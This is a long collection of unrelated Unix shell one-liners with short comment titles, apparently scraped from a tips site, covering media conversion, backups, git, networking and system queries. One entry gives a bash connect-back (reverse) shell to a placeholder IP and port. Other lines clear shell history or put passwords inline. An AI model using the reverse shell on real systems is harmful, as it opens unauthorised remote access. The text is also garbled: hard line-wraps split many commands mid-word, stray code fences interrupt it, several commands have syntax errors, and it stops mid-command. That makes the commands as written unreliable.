find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+

# Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat

# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain
a bit)
mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons

# how to export a table in .csv file
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INT
O OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';

# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain

```

```

a bit)
mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;

# use SHIFT + ALT to toggle between two keyboard layouts
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es

# Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /

# Display kernel profile of currently executing functions in Solaris.
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out

# Reinstall Grub
sudo grub-install --recheck /dev/sda1

# Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'

# Get the list of local files that changed since their last upload in an S3 bucket
changing_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #
{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print
t $2}' | sed s_#{{preprod_release_dir}}/web__`

# Print the last modified file
ls -tl | head -n1

# Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.[^\s]+)/){print $1, " "}'`; do gno
me-terminal -e "screen -x $i"; done

# Monitor RX/TX packets and any subsequent errors
watch 'netstat -aniv'

# convert wav files to flac
flac --best *.wav

# Tail a log-file over the network
tail -f error_log | nc -l 1234

# HTTP GET request on wireshark remotly
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[[(tcp[12:1] & 0xf0) >
2):4] = 0x47455420' -w -" | wireshark -k -i -

# convert wav files to ogg
oggenc *.wav

# Restart X11 with HUP signal
kill HUP `pidof '/usr/bin/X'`

# The simplest way to transport information over a network
(on destination machine) nc -l 1234 > whatever; (on source machine) nc destinat
ion 1234 < whatever;

# Shell function to create a menu of items which may be inserted into the X past
e buffer.
smenu() ( IFS=', ' ; select x in $*; do echo "$x" | xsel -i; done )

# fix flash video (flv) file (ffmpeg)

```

```

ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv

# Encrypt every file in the current directory with 256-bit AES, retaining the original.
for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done

# Convert PNG to GIF
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done

# Email someone if a web page has been updated.
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." david@email.com

# pop-up messages on a remote computer
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$$(less commander)"; > commander; fi; done

# Set random background image in gnome
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)"

# using tee to echo to a system file with sudo privileges
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

# Create .pdf from .doc
wvPDF test.doc test.pdf

# Convert embedded spaces in filenames to "_" (underscore)
ls -l | grep " " | awk '{printf("mv \"%s\" \"\",$0); gsub(/ /,"_",$0); printf("%s\n", $0)}' | sh # rename filenames: spaces to "_"

# Exclude a string with awk
awk '{sub("String","",$0); print $0}' file

# Display 6 largest installed RPMs sorted by size (descending)
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs

# advanced bash history
export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000

# get only time of execution of a command without his output
time Command >/dev/null

# sed edit-in-place using -a option instead of -i option (no tmp file created)
sedi(){ case $# in [01])echo usage: sedi cmds file;;2)sed -an "'"$1"'";H;$!d;g;w'"$2"' '$2;;esac;}

# PRINT LINE the width of screen or specified using any char including Colors, Escapes and metachars
L(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${1// /${1:=-}}"; }

# fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the filter across the input files and diff the output.
fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }

# An alias to select a portion of your desktop and save it as an image.
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; imp

```

```
ort -frame $IMAGE; echo "Image saved as $IMAGE"'

# Exclude a string with awk
awk '{sub("String","")}1'

# extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'

# Insert a line for each n lines
ls -l | sed "$ (while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"

# posts an xml file to a webservice with curl
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service

# Grep for regular expression globally, list files and positions.
find . -name "*.pbt" -exec grep -Hrn "declareObject.*Common_Down" {} \;

# Paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI.
listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;}

# Recursive Search and Replace
perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`

# Load all files (including in subdirs), whose name matches a substring, into Vim
vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)

# purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}`

# sort ugly text
sort -bdf

# Using awk to sum/count a column of numbers.
cat count.txt | awk '{ sum+=$1} END {print sum}'

# Alias for quick command-line volume set (works also remotely via SSH)
alias setvol='aumix -v'

# List the size (in human readable form) of all sub folders from the current location
du -sh */

# git diff of files that have been staged ie 'git add'ed
git diff --cached

# Emptying a text file in one shot
:1,$d

# Update a tarball
tar -tf file.tar | tar -T - -uf file.tar

# Trim linebreaks
cat myfile.txt | tr -d '\n'
```

```

# Generate a Random MAC address
od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*\$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$///;'

# View any already in progress copy command in detail
sudo lsof -p1234 | grep -E "(3r|4w).*REG"

# BourneShell: Go to previous directory
cd -

# Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16

# Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`

# Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'

# Transcode .flac to .wav with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="{i%.flac}.wav"; done

# cpu info
sudo dmidecode -t processor

# Shrink more than one blank lines to one in VIM.
:%v/./,/./-j

# Send a local file via email
cat filename | mail -s "Email subject" user@example.com

# Display condensed log in a tree-like format.
git log --graph --pretty=oneline --decorate

# Count number of hits per IP address in last 2000 lines of apache logs and print the IP and hits if hits > 20
tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'

# lotto generator
echo $(shuf -n 6 -i 1-49 | sort -n)

# Console clock -- Revised
yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh

# Compare prices in euro of the HTC Desire on all the european websites of Expansys.
for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<pid='price'><strong>&euro; \([0-9]*[,\.][0-9]*\)*/\1/g"; done

# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 < 2000) print $0 }' | sed 's/^[0-9]*.//'

# Replace spaces in a filename with hyphens
rename 's/ /-/g' *

```

```

# Console clock
watch -t -n1 'date +%r %F %A'

# mix video and audio
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1
mix.mp4

# Paste command output to www.pastehtml.com in txt format.
paste(){ curl -s -S --data-urlencode "txt=$(*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}

# extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3

# Buffer in order to avoid mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && (
  ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1)" ] )
); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}";
fi }

# Delete all files older than X in given path
find . -mtime +10 -delete

# Work out numerical last month
LASTMONTHNUM=`date -d "last month" +%m`

# Create a file of a given size in linux
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1

# reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3

# using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm

# replace strings in file names
rename 's/foo/bar/g' foobar

# Check if filesystem hangs
ls /mnt/badfs &

# disk space email alert
[ $(df / | perl -nle '/([0-9]+)/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com

# convert a line to a space
echo $(cat file)

# List every file that has ever existed in a git repository
git log --all --pretty=format:" " --name-only | sort -u

# remove newlines from specific lines in a file using sed
sed -i '/pattern/N; s/\n//' filename

# Console clock
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done

# Get sunrise and sunset times
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy|

```



```

awk -F\" '{print $2 "\n" $4;}'

# Replicate a directory structure dropping the files
find . -type d -exec mkdir -p $DESTDIR/{ } \;

# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile
phone
ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800
x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9
Chuck20100208800PMChuckVersustheMask.mp4

# Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1

# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html

# create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}

# c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done

# Get your public ip
curl -s ip.appspot.com

# Update twitter with Perl
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], usern
ame => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TW
EET");'

# Recover deleted Binary files
sudo foremost -i /dev/sda -o /recovery

# Continue a current job in the background
%1 &!

# Dump a configuration file without comments or whitespace...
grep -v "\ *#\|^$" /etc/path/to.config

# Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'

# Length of longest line of code
awk '(length>t) {t=length} END {print t}' *.cpp

# Replace "space" char with "dot" char in current directory file names
ls -l | while read a; do mv "$a" `echo $a | sed -e 's/\ /./g` ; done

# Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ;
done

# Add a progress counter to loop (see sample output)
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;

# Multiple variable assignments from command output in BASH
eval $(date +"day=%d; month=%m; year=%y")

```

```
# Copy the sound content of a video to an mp3 file
ffmpeg -i source.flv -vn acodec copy destination.mp3

# disable caps lock
xmodmap -e "remove Lock = Caps_Lock"

# Create a video that is supported by youtube
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vco
dec flv mytarget.flv

# Clear your history saved into .bash_history file!
history -c

# Annoying PROMPT_COMMAND animation
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'

# uniq without pre-sorting
perl -ne 'print if !$a{$_}++'

# Print all /etc/passwd lines with duplicated uid
awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[
$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^\/'$(hostname)'/:g'

# Run the last command as root - (Open)Solaris version with RBAC
pfexec !!

# create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%c%c;\n",39,$1,39; }' inputfile
.txt

# count how many cat processes are running
ps ax | grep -c [c]at

# Get length of current playlist in xmms2
xmms2 list | grep '^\s+\[' | wc -l

# Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM S
TOP

# Flush DNS cache in MacOS 10.5
dscacheutil -flushcache

# Get IP from hostname
dig +short google.com

# Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm

# mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi

# Compress blank lines in VIM
:g/^\s*$/,\S/-j|s/.*/

# Open a file explorer on a split screen inside your vim session
:Sex

# Mount iso to /mnt on Solaris
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
```

```

# Create commands to download all of your Picasaweb albums
google picasa list-albums |awk 'BEGIN { FS = ", " }; {print "\""$1"\\""}'|sed s/^/
google\ picasa\ get\ /|awk ' {print $0, "."}'

# Random file naming
mv file.png $( mktemp -u | cut -d'.' -f2 ).png

# Extract the MBR ID of a device
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\
n"'

# exclude file(s) from rsync
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path

# View a man page on a nice interface
yelp man:foo

# Get My Public IP Address
curl -s http://whatismyip.org/

# watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'

# Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[
0-9]{1,3}'

# Search for a <pattern> string inside all files in the current directory
find . -type f -print0 | xargs -0 grep -i <pattern>

# Sed can reference parts of the pattern in the replacement:
echo -e "swap=me\nl=2"|sed 's/\(.*\)=\(.*\)\/\2=\1/g'

# Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo

# Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2
/

# gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql

# Sort installed rpms by decreasing size.
rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less

# Find which service was used by which port number
getent services <port_number>

# Start vim without initialization
vim -u NONE yourfile

# Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles

# print battery , thermal , and cooling info
acpi -tc

```

```

# Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$

# hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "

# Sort installed rpms in alphabetic order with their size.
rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less

# Show LAN IP with ip(8)
ip route show dev eth0 | awk '{print $7}'

# diff will usually only take one file from STDIN. This is a method to take the
result of two streams and compare with diff. The example I use to compare two it
unes libraries but it is generally applicable.
diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-
2; find . f -print | egrep -i '\.m4a$|\.mp3$')

# Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file` | awk -F. '{print $1}'`; sudo mount
-t iso9660 -o loop $file `basename $file` | awk -F. '{print $1}'`; done

# Revert an SVN file to previous revision
svn up -rREV file

# copy last command to clipboard
echo "!!" | pbcopy

# make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.\.wm
v$|.\.mpg$|.\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u

# Extract raw URLs from a file
egrep -ie "<*HREF=(.*)>" index.html | cut -d "\"" -f 2 | grep ://

# Check if a command is available in your system
type {command} >/dev/null

# Start a terminal with three open tabs
gnome-terminal --tab --tab --tab

# Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/}*}; done; ls -ld
/

# Take a screenshot of a login screen
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png

# Copy a directory recursively without data/files
find . -type d -exec mkdir /copy_location/{ } \;

# lsof - cleaned up for just open listening ports, the process, and the owner of
the process
alias oports="echo 'User:      Command:  Port: '; echo '-----
----' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed '
s/ [a-z0-9\.\*]*: / /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"

# Convert a date to timestamp
date --utc --date "2009-02-06 09:57:54" +%s

```

```
# Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`

# Make info pages much less painful
pininfo date

# github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git

# Mount/unmount your truecrypted file containers
truecrypt volume.tc

# Analyse writing style of writing style of a document
style TEXT-FILE

# Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n

# paste one file at a time instead of in parallel
paste --serial file1 file2 file3

# Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"

# Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>

# fetch all revisions of a specific file in an SVN repository
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}"|awk {'sub(/^r/, "", $1);p
rint "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh

# Write a listing of all directories and files on the computer to a compressed f
ile.
sudo ls -RFal / | gzip > all_files_list.txt.gz

# Change Gnome wallpaper
gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_ima
ge>

# Ultimate current directory usage command
find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1
d'|while read i;do echo "$ (du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -
type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done

# change dinosaur poop into gold
sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url
from moz_places ;' | grep http

# scp with compression.
scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql

# write the output of a command to /var/log/user.log... each line will contain $
USER, making this easy to grep for.
log() { (echo "\$ @$";$@) | logger -t $USER; }

# Expedient hard disk temprature and load cycle stats
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /
dev/sda | grep Temp'
```

```
# Import SQL into MySQL with a progress meter
(pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity
--width 550 --progress --auto-close --auto-kill --title "Importing into MySQL"
--text "Importing into the database"

# Create a self-signed certificate for Apache Tomcat
${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -ke
yalg RSA -keystore (Path to keystore)

# Freshening up RKhunter
rkhunter --versioncheck --update --propupd --check

# create a simple version of ls with extended output
alias l='ls -CFlash'

# Remove an IP address ban that has been errantly blacklisted by denyhosts
denyhosts-remove $IP_ADDRESS

# create a progress bar...
p(){ c=$((($tput cols)-3));j=$((($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++
));do printf "=";done);>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=10
0; i++));do p i;done;echo

# Displays the current time using HTTP
curl -Is google.com | grep Date

# Execute a command with a timeout
perl -e "alarm 10; exec @ARGV" "somecommand"

# Open a file in a GTK+ dialog window
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passw
d

# Get a BOFH excuse
telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | t
r -d '\n' && echo

# Update your journal
vi ~/journal/${date +%F}

# Clear history
history -c

# Dump and bz2compress a mysql db
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2

# Then end of the UNIX epoch
date -d @$(echo $(2 ** 31 - 1))

# Search big files with long lines
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }

# Find all plain text files that do not contain STRING
find . -type f ! -exec grep -q 'STRING' {} \; -print

# change ownership en masse of files owned by a specific user, including files a
nd directories with spaces
find . -uid 0 -print0 | xargs -0 chown foo:foo
```

```

# List your largest installed packages (on Debian/Ubuntu)
sed -ne '/^Package: \(.*\)/{s//\1/h;};/^Installed-Size: \(.*\)/{s//\1/G;s/\n/;/p;}' /var/lib/dpkg/status | sort -rn

# Currency Conversion
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }

# find out how many days since given date
echo "$((date +%s)-$(date +%s -d "march 1"))/86400"|bc

# one-line log format for svn
svn log | perl -ne 'chomp; if (/^-{10}/) {print "\n" if $1; $1=0}; s/[^\|]*$// && print if $1==1; print if $1==3; $1++'

# Know your distro
lsb-release -a

# Convert Squid unixtime logs in human-readable ones
perl -p -e 's/^(([0-9]*)/[".localtime($1)."])/e' < /var/log/squid/access.log

# cat stdout of multiple commands
( command1 arg arg ; command2 arg ) ...

# Repeat a command until stopped
while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; d
one

# get some information about the parent process from a given process
ps -o ppid= <given pid> | xargs ps -p

# Run command from another user and return to current
su - $user -c <command>

# find the path of the java called from the command line
ls -l $(type -path -all java)

# Add SVN keywords property to all PHP and Javascript files
find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \;

# Finds all files from / on down over specified size.
find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'

# pinky - user info
pinky -l <username>

# Floating point power p of x
bc -l <<< "x=2; p=0.5; e(l(x)*p)"

# shell function to make gnu info act like man.
alias info='info --vi-keys'

# Title Case Files
rename 's/\b((?!a|of|that|to)\b)[a-z]+/\u$1/g' *

# rsync directory tree including only files that match a certain find result.
find /src/dir/ -mtime -10 -printf %P\0|rsync --files-from=- --from0 /src/dir/ /

```

```
dst/dir/

# Check general system error on AIX
errpt -a | more

# List upcoming events on google calendar
google calendar list --date `date --date="next thursday" +%Y-%m-%d`

# Find and remove core files
find . -type f -regex '.*\/core\.[0-9]*$' -delete

# Benchmark a hard drive
sudo hdparm -Tt /dev/sda

# Count number of bytes that are different between 2 binary files
cmp -l file1.bin file2.bin | wc -l

# Combining text files into one file
cat *.txt >output.txt

# Find all SUID binaries
find / -perm +6000 -type f -exec ls -ld {} \;

# play all mp4 files on home directory
find ~ -name '*.mp4' | xargs mplayer

# Get all IPs via ifconfig
ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'

# The command used by applications in OS X to determine whether a plist is "good"
#. from Ed Marczak.
plutil -lint plist-file

# Google Spell Checker
spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>" https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)</spellresult>/\1/;s/<c \([^\>]*\)>\([^\<]*\)</c>/\1;\2\n/g' | grep 's="1"' | sed 's/^\.*;\([^\t]*\)\.*/\1/'; }

# Number of files in a SVN Repository
svn log -v --xml file:///path/to/rep | grep kind="file"|wc -l

# Big Countdown Clock in seconds
i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$((i-1)); done;

# Check for Firewall Blockage.
iptables -L -n --line-numbers | grep xx.xx.xx.xx

# Copy files and directories from a remote machine to the local machine
ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -

# Scrape commands from commandline fu's 1st page
curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_ =sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $_.strip'

# Show sorted list of files with sizes more than 1MB in the current dir
ls -l | awk '$5 > 1000000' | sort -k5n
```



```

# Play all the music in a folder, on shuffle
mplayer -shuffle *

# Continually monitor things
while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/au
th.log; echo ""; vmstat 1 5; sleep 15; done

# Change MySQL Pager For Nicer Output
mysql --pager="less -niSFX"

# print all characters of a file using hexdump
od -c <file>

# clone a hard drive to a remote directory via ssh tunnel, and compressing the i
mage
# dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'

# Find all dot files and directories
printf "%s\n" .*

# Count threads of a jvm process
ps uH p <PID_OF_U_PROCESS> | wc -l

# Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf, etc, etc....)
less -r <some file>

# Determine configure options used for MySQL binary builds
grep CONFIG $(which mysqlbug)

# List only executables installed by a debian package
lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ ! -d $f ] ; then
echo $f; fi; done;

# Create sqlite db and store image
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert int
o imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where i
d=1;" | base64 -d -w0 > /tmp/W.jpg

# Print the contents of $VARIABLE, six words at a time
echo $VARIABLE | xargs -d'\40' -n 6 echo

# Allow any local (non-network) connection to running X server
xhost +local:

# Get gzip compressed web page using wget.
wget -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html

# How long has this disk been powered on
smartctl -A /dev/sda | grep Power_On_Hours

# Save the current directory without leaving it
pushd .

# List only directories, one per line
find * -type d -maxdepth 0

# The top ten commands you use
perl -pe 's/./;/' ~/.zsh_history | sort | uniq -c | sort -r|head -10

```

```

# Recurse through directories easily
find . -type f | while read file; do cp $file ${file}.bak; done

# Convert a MOV captured from a digital camera to a smaller AVI
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi

# Count opening and closing braces in a string.
countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(
echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $CO
UNT_CLOSING; }

# Coping files, excluding certain files
find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir

# Plowshare, download files from cyberlocker like rapidshare megaupload ...etc
plowdown http://www.megaupload.com/?d=abc1234567

# Generat a Random MAC address
od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1

# Get just the IP for a hostname
dig hostname a +short

# Get a process's pid by supplying its name
pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }

# Show changed files, ignoring permission, date and whitespace changes
git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && prin
t $F[2] . "\n";'

# Read just the IP address of a device
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*?(eth[[:digit:]]*(:[[:digit:]]
+)?)/\2 \1/p' | column -t

# create screencast (record text and audio simultaneously) using 'script' and 'a
record'
screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting s
creencast in new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.se
ssion; kill $RECPID; }

# tar.gz with gpg-encryption on the fly
tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`d
ate +%d_%m_%Y`.tar.gz.gpg

# cp the file
cp /some/path/to/myfile{,.back}

# Convert from octal format to umask
perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done

# Extract your list of blocked images hosts from Firefox database
sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "se
lect host from moz_hosts where type='image' and permission=2"

# set wallpaper on windowmaker in one line
wmsetbg -s -u path_to_wallpaper

# concatenate compressed and uncompressed logs

```

```
zcat -f $(ls -tr access.log*)

# shell alternative to 'basename'
echo ${file##*/}

# Print the detailed statistics of transferred bytes by the firewall rules
sudo iptables -L -nv

# Generate a random password 30 characters long
tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1

# convert markdown to PDF
markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle
plain --format pdf14 - > doc.pdf

# This command can be used to extract the IP address of the network.
inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $ine
t_ip

# Selecting a random file/folder of a folder
find . | shuf -n1

# Synchronise a file from a remote server
rsync -av -e ssh user@host:/path/to/file.txt .

# Adhoc tar backup
tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination
/path/backupfile.tgz

# Explanation of system and MySQL error codes
perror NUMBER

# Alias to securely run X from tty and close that tty afterwards.
alias onlyx='nohup startx & disown ; exit'

# search user defined function in c language
cflow file.c | grep ':$' | sed 's/ <.*//''

# Show a calendar
cal [[month] year]

# Checks apache's access_log file, strips the search queries and shoves them up
your e-mail
awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | s
